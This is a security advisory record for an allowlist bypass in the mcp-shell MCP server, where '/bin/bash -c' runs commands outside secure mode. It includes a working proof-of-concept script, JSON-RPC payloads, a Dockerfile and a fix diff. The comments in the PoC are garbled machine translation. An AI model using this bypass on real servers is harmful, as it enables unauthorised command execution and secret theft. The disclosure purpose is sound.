{"id":"GHSA-3x77-wg38-92r3","summary":"mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable","details":"### Summary\n\n`mcp-shell` ships a default Docker configuration (`security.yaml`) that includes `/bin/bash` in the `allowed_executables` allowlist. The command validator (`security.go`) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as `-c`. As a result, any MCP tool caller can send `command=/bin/bash -c \u003carbitrary-command\u003e` to the `shell_exec` tool and execute commands that are not in the allowlist — including `id`, `env`, `curl`, `wget`, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as `mcpuser`.\n\n### Details\n\n`mcp-shell` implements a *secure mode* in which command execution is restricted to an explicit allowlist of executables defined in `security.yaml`. The Docker image ships this file with the following entry:\n\n```yaml\n# security.yaml (line 29)\nallowed_executables:\n  - \"ls\"\n  - ...\n  - \"/bin/bash\"  # Only allow if you trust the arguments\n```\n\nThe comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in `security.go` is responsible for enforcing secure mode:\n\n```go\n// security.go:84-96\nfor _, allowed := range v.config.AllowedExecutables {\n    if v.matchesExecutable(executable, allowed) {\n        if err := v.checkBlockedPatternsAndCommands(command); err != nil {\n            return err\n        }\n        return nil\n    }\n}\n```\n\n`executable` is derived solely from `parts[0]` after splitting the input on whitespace (`security.go:67`). When the command is `/bin/bash -c id`, `executable` evaluates to `/bin/bash`, which matches the allowlist entry. The `-c` flag and subsequent arguments are passed to `checkBlockedPatternsAndCommands`, which only checks for shell metacharacters (`|`, `&`, `;`, `\u003c`, `\u003e`, `(`, `)`, `{`, `}`, `[`, `]`, `` ` ``, `$`, `\\`, `\"`, `'`) and a configurable list of `blocked_commands`/`blocked_patterns` — both of which default to empty arrays in the shipped configuration. The flag `-c` does not match any blocked metacharacter, so the check passes.\n\nThe validated command then reaches the executor:\n\n```go\n// executor.go:149-163\nexecutable, args, err := e.parseCommand(command)\n// ...\ncmd = exec.CommandContext(ctx, executable, args...)\n```\n\n`parseCommand` splits the command string, yielding `executable=\"/bin/bash\"` and `args=[\"-c\", \"id\"]`. `exec.CommandContext` is invoked directly — no shell is spawned by the executor itself — but `/bin/bash -c id` is equivalent to a shell invocation, executing `id` outside the allowlist.\n\n**Data flow (source → sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `Dockerfile:55` | `COPY security.yaml /etc/mcp-shell/security.yaml` — bundles vulnerable config into image |\n| 2 | `Dockerfile:57` | `ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml` — activates config by default |\n| 3 | `security.yaml:29` | `/bin/bash` registered in `allowed_executables` |\n| 4 | `main.go:84-102` | MCP tool `shell_exec` registered with required `command` parameter |\n| 5 | `handler.go:34` | `command := request.RequireString(\"command\")` — attacker-controlled input received |\n| 6 | `handler.go:49` | `h.validator.validateCommand(command)` — validation called |\n| 7 | `security.go:67-96` | `executable = parts[0]` matches `/bin/bash`; `-c` not blocked; returns `nil` |\n| 8 | `handler.go:59` | Validated command forwarded to executor |\n| 9 | `executor.go:163` | `exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\")` — sink: arbitrary execution |\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed and accessible.\n- Repository source code checked out (build context is the repository root).\n- `python3` available (for the automated PoC script).\n\n**Step 1 — Build the Docker image**\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  /path/to/mcp-shell-repo \\\n  -t mcp-shell-vuln-001:latest\n```\n\n**Step 2 — Run the PoC script**\n\n```bash\npython3 vuln-001/poc.py mcp-shell-vuln-001:latest\n```\n\nThe script sends three MCP JSON-RPC requests over stdio:\n\n1. `initialize` handshake\n2. `tools/call shell_exec` with `command=\"/bin/bash -c id\"` — **exploit payload**\n3. `tools/call shell_exec` with `command=\"id\"` — **control**: direct invocation must be blocked\n\n**Expected output (exploit success):**\n\n```\n[id=2] /bin/bash -c id response:\n  → status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'\n\n[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution  successful!\n\n[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal)\n    → allowlist bypass  /bin/bash -c only through the path occurs proven\n```\n\n**Alternatively, using raw `printf` (no Python required):**\n\n```bash\nprintf '%s\\n' \\\n  '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"0.0.1\"}}}' \\\n  '{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}}' \\\n  '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"shell_exec\",\"arguments\":{\"command\":\"/bin/bash -c id\",\"base64\":false}}}' \\\n| docker run --rm -i mcp-shell-vuln-001:latest\n```\n\n**Observed MCP response:**\n\n```json\n{\n  \"command\": \"/bin/bash -c id\",\n  \"execution_time\": \"3.854555ms\",\n  \"exit_code\": 0,\n  \"security_info\": {\"security_enabled\": true, \"working_dir\": \"/tmp\", \"timeout_applied\": true},\n  \"status\": \"success\",\n  \"stderr\": \"\",\n  \"stdout\": \"uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)\"\n}\n```\n\n**Remediation (patch guidance):**\n\n1. Remove shell interpreters from the default `security.yaml` allowlist:\n\n```diff\n--- a/security.yaml\n+++ b/security.yaml\n-    - \"/bin/bash\"  # Only allow if you trust the arguments\n```\n\n2. Add argument-level validation in `security.go` to block shell command-mode flags even when a shell interpreter is allowlisted:\n\n```diff\n--- a/security.go\n+++ b/security.go\n  executable := parts[0]\n+ args := parts[1:]\n+\n+ if isShellCommandMode(executable, args) {\n+     return fmt.Errorf(\"shell command mode is not allowed in secure mode: %s\", executable)\n+ }\n\n  // Check if the executable is in the allowlist\n  for _, allowed := range v.config.AllowedExecutables {\n  ...\n  }\n+\n+ func isShellCommandMode(executable string, args []string) bool {\n+     base := filepath.Base(executable)\n+     switch base {\n+     case \"sh\", \"bash\", \"dash\", \"ash\", \"zsh\", \"ksh\":\n+         for _, arg := range args {\n+             if arg == \"-c\" || (strings.HasPrefix(arg, \"-\") && strings.Contains(arg, \"c\")) {\n+                 return true\n+             }\n+         }\n+     }\n+     return false\n+ }\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). The `shell_exec` MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (`curl`, `wget`, `env`, `sed`, `grep`, `tar`, etc. — all installed by the Dockerfile) under the identity of `mcpuser` (UID 1000).\n\n**Who is impacted:**\n\n- **Any operator** deploying the official Docker image without modifying the default `security.yaml` is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required.\n- **MCP clients** that interact with a vulnerable `mcp-shell` instance — including automated AI agents, LLM orchestration platforms, and CI/CD pipelines — may be leveraged to exfiltrate secrets, tamper with files accessible to `mcpuser`, or pivot further within the container's network.\n- The `--network=none` flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.\n\n**Concrete consequences of exploitation:**\n\n- **Confidentiality:** Dump environment variables (`/bin/bash -c env`), read files, or exfiltrate credentials visible to `mcpuser`.\n- **Integrity:** Write or modify files within the container's writable filesystem.\n- **Availability:** Consume container resources or terminate processes.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c\n# build context: ../repo directory\n# usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest\n\n# Build stage\nFROM golang:1.25-alpine AS builder\n\nRUN apk add --no-cache git\n\nWORKDIR /app\n\nCOPY go.mod go.sum ./\nRUN go mod download\n\nCOPY *.go ./\n\nARG VERSION=vuln-001-poc\nRUN CGO_ENABLED=0 GOOS=linux go build \\\n    -ldflags \"-X main.version=${VERSION} -s -w\" \\\n    -a -installsuffix cgo \\\n    -o mcp-shell .\n\n# Runtime stage\nFROM alpine:3.22\n\nRUN apk add --no-cache \\\n    bash \\\n    curl \\\n    wget \\\n    git \\\n    make \\\n    findutils \\\n    grep \\\n    sed \\\n    gawk \\\n    tar \\\n    gzip \\\n    unzip \\\n    ca-certificates \\\n    && rm -rf /var/cache/apk/*\n\nRUN addgroup -g 1000 mcpuser && \\\n    adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser\n\nRUN mkdir -p /tmp/mcp-workspace && \\\n    chown mcpuser:mcpuser /tmp/mcp-workspace\n\nRUN mkdir -p /etc/mcp-shell && \\\n    chown mcpuser:mcpuser /etc/mcp-shell\n\nCOPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell\nRUN chmod +x /usr/local/bin/mcp-shell\n\n# Vulnerable default configuration: /bin/bash text allowed_executables text containsdone\nCOPY security.yaml /etc/mcp-shell/security.yaml\n\nENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml\nENV PATH=\"/usr/local/bin:${PATH}\"\n\nUSER mcpuser\nWORKDIR /tmp/mcp-workspace\n\nENTRYPOINT [\"mcp-shell\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c\n\nVulnerability summary:\n  security.yamltext allowed_executablestext /bin/bash text registerbecomes text,\n  validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand\n  -c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext\n  executor.go:163 from exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\") text executebecomes\n  allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.\n\nusage:\n  python3 poc.py [IMAGE_NAME]\n  default text: mcp-shell-vuln-001:latest\n\"\"\"\n\nimport subprocess\nimport json\nimport sys\n\nIMAGE = sys.argv[1] if len(sys.argv) \u003e 1 else \"mcp-shell-vuln-001:latest\"\n\n\ndef make_msg(obj):\n    return json.dumps(obj, separators=(',', ':'))\n\n\n# MCP JSON-RPC message whentext\nMESSAGES = [\n    # 1. initialize handshake\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 1,\n        \"method\": \"initialize\",\n        \"params\": {\n            \"protocolVersion\": \"2024-11-05\",\n            \"capabilities\": {},\n            \"clientInfo\": {\"name\": \"vuln-001-poc\", \"version\": \"0.0.1\"}\n        }\n    }),\n    # 2. initialized text (response none)\n    make_msg({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\", \"params\": {}}),\n    # 3. vulnerability text: /bin/bash -c id\n    #    id text allowlisttext textonly /bin/bash text because it exists verification passed → id execute\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 2,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"shell_exec\",\n            \"arguments\": {\"command\": \"/bin/bash -c id\", \"base64\": False}\n        }\n    }),\n    # 4. comparison: id directly execute → allowlisttext because it is missing blockbecomestext done\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 3,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"shell_exec\",\n            \"arguments\": {\"command\": \"id\", \"base64\": False}\n        }\n    }),\n    # 5. add evidence: env environment variable text (envtext allowlisttext none)\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 4,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"shell_exec\",\n            \"arguments\": {\"command\": \"/bin/bash -c env\", \"base64\": False}\n        }\n    }),\n]\n\n\ndef extract_text(resp):\n    \"\"\"MCP tools/call responsefrom text contents extract\"\"\"\n    try:\n        content = resp.get(\"result\", {}).get(\"content\", [])\n        for item in content:\n            if item.get(\"type\") == \"text\":\n                return item[\"text\"]\n    except Exception:\n        pass\n    return None\n\n\ndef run_poc():\n    stdin_data = \"\\n\".join(MESSAGES) + \"\\n\"\n\n    print(f\"[*] text: {IMAGE}\")\n    print(\"[*] text: /bin/bash -c id\")\n    print(\"[*] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock\")\n    print()\n\n    try:\n        proc = subprocess.run(\n            [\"docker\", \"run\", \"--rm\", \"-i\", \"--network=none\", IMAGE],\n            input=stdin_data.encode(),\n            capture_output=True,\n            timeout=30,\n        )\n    except subprocess.TimeoutExpired:\n        print(\"[-] error: container response timeout (30seconds)\")\n        return False, \"timeout\"\n    except FileNotFoundError:\n        print(\"[-] error: docker commandtext text can none\")\n        return False, \"docker not found\"\n    except Exception as e:\n        print(f\"[-] error: {e}\")\n        return False, str(e)\n\n    stdout = proc.stdout.decode(errors=\"replace\")\n    stderr = proc.stderr.decode(errors=\"replace\")\n\n    print(\"=== STDOUT (JSON-RPC response) ===\")\n    print(stdout)\n    if stderr:\n        print(\"=== STDERR (server log, partial) ===\")\n        print(stderr[:1500])\n    print()\n\n    # response parse\n    responses = {}\n    for line in stdout.splitlines():\n        line = line.strip()\n        if not line:\n            continue\n        try:\n            resp = json.loads(line)\n            msg_id = resp.get(\"id\")\n            if msg_id is not None:\n                responses[msg_id] = resp\n        except json.JSONDecodeError:\n            pass\n\n    exploit_passed = False\n    exploit_evidence = \"\"\n\n    # [id=2] /bin/bash -c id result check (key point evidence)\n    if 2 in responses:\n        text = extract_text(responses[2])\n        if text:\n            print(f\"[id=2] /bin/bash -c id response text: {text[:400]}\")\n            try:\n                result = json.loads(text)\n                stdout_val = result.get(\"stdout\", \"\")\n                status = result.get(\"status\", \"\")\n                exit_code = result.get(\"exit_code\", -1)\n                print(f\"  → status={status!r}, exit_code={exit_code}, stdout={stdout_val!r}\")\n                if \"uid=\" in stdout_val and status == \"success\":\n                    exploit_passed = True\n                    exploit_evidence = (\n                        f\"command=/bin/bash -c id | status={status} | \"\n                        f\"exit_code={exit_code} | stdout={stdout_val}\"\n                    )\n                    print(f\"\\n[+] PASS: uid= check → /bin/bash -c text arbitrary command execute success!\")\n                    print(f\"[+] Deterministic evidence: {exploit_evidence}\")\n            except json.JSONDecodeError:\n                if \"uid=\" in text:\n                    exploit_passed = True\n                    exploit_evidence = text\n                    print(f\"[+] PASS: uid= confirmed (raw): {text[:200]}\")\n    else:\n        print(\"[-] id=2 response none (secondstext failure or server error)\")\n\n    # [id=3] id directly execute → block check (text)\n    if 3 in responses:\n        text = extract_text(responses[3]) or \"\"\n        resp_str = str(responses[3])\n        blocked = (\n            \"not in allowed list\" in text\n            or \"not in allowed list\" in resp_str\n            or \"Security violation\" in text\n            or \"isError\" in resp_str and \"true\" in resp_str.lower()\n        )\n        if blocked:\n            print(f\"\\n[+] text check: 'id' directly executetext blocked (allowlist behavior normal)\")\n            print(f\"    → allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone\")\n        else:\n            print(f\"[*] 'id' directly result: {text[:200]}\")\n\n    # [id=4] /bin/bash -c env add evidence\n    if 4 in responses:\n        text = extract_text(responses[4]) or \"\"\n        try:\n            result = json.loads(text)\n            stdout_val = result.get(\"stdout\", \"\")\n            if \"PATH=\" in stdout_val or \"HOME=\" in stdout_val:\n                env_lines = stdout_val.splitlines()[:5]\n                print(f\"\\n[+] add evidence: /bin/bash -c env success (envtext allowlist textcontains)\")\n                print(f\"    first 5lines: {chr(10).join('    ' + l for l in env_lines)}\")\n        except Exception:\n            pass\n\n    return exploit_passed, exploit_evidence\n\n\nif __name__ == \"__main__\":\n    passed, evidence = run_poc()\n    print()\n    if passed:\n        print(\"[+] vulnerability reproduction result: PASS\")\n        sys.exit(0)\n    else:\n        print(\"[-] vulnerability reproduction result: FAIL\")\n        sys.exit(1)\n```","aliases":["CVE-2026-55581","GO-2026-6290"],"modified":"2026-09-09T05:15:04.519928953Z","published":"2026-08-25T15:41:30Z","database_specific":{"cwe_ids":["CWE-1188","CWE-183","CWE-78"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-08-25T15:41:30Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/sonirico/mcp-shell/security/advisories/GHSA-3x77-wg38-92r3"},{"type":"WEB","url":"https://github.com/sonirico/mcp-shell/pull/16"},{"type":"WEB","url":"https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f"},{"type":"PACKAGE","url":"https://github.com/sonirico/mcp-shell"},{"type":"WEB","url":"https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0"}],"affected":[{"package":{"name":"github.com/sonirico/mcp-shell","ecosystem":"Go","purl":"pkg:golang/github.com/sonirico/mcp-shell"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.6.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-3x77-wg38-92r3/GHSA-3x77-wg38-92r3.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}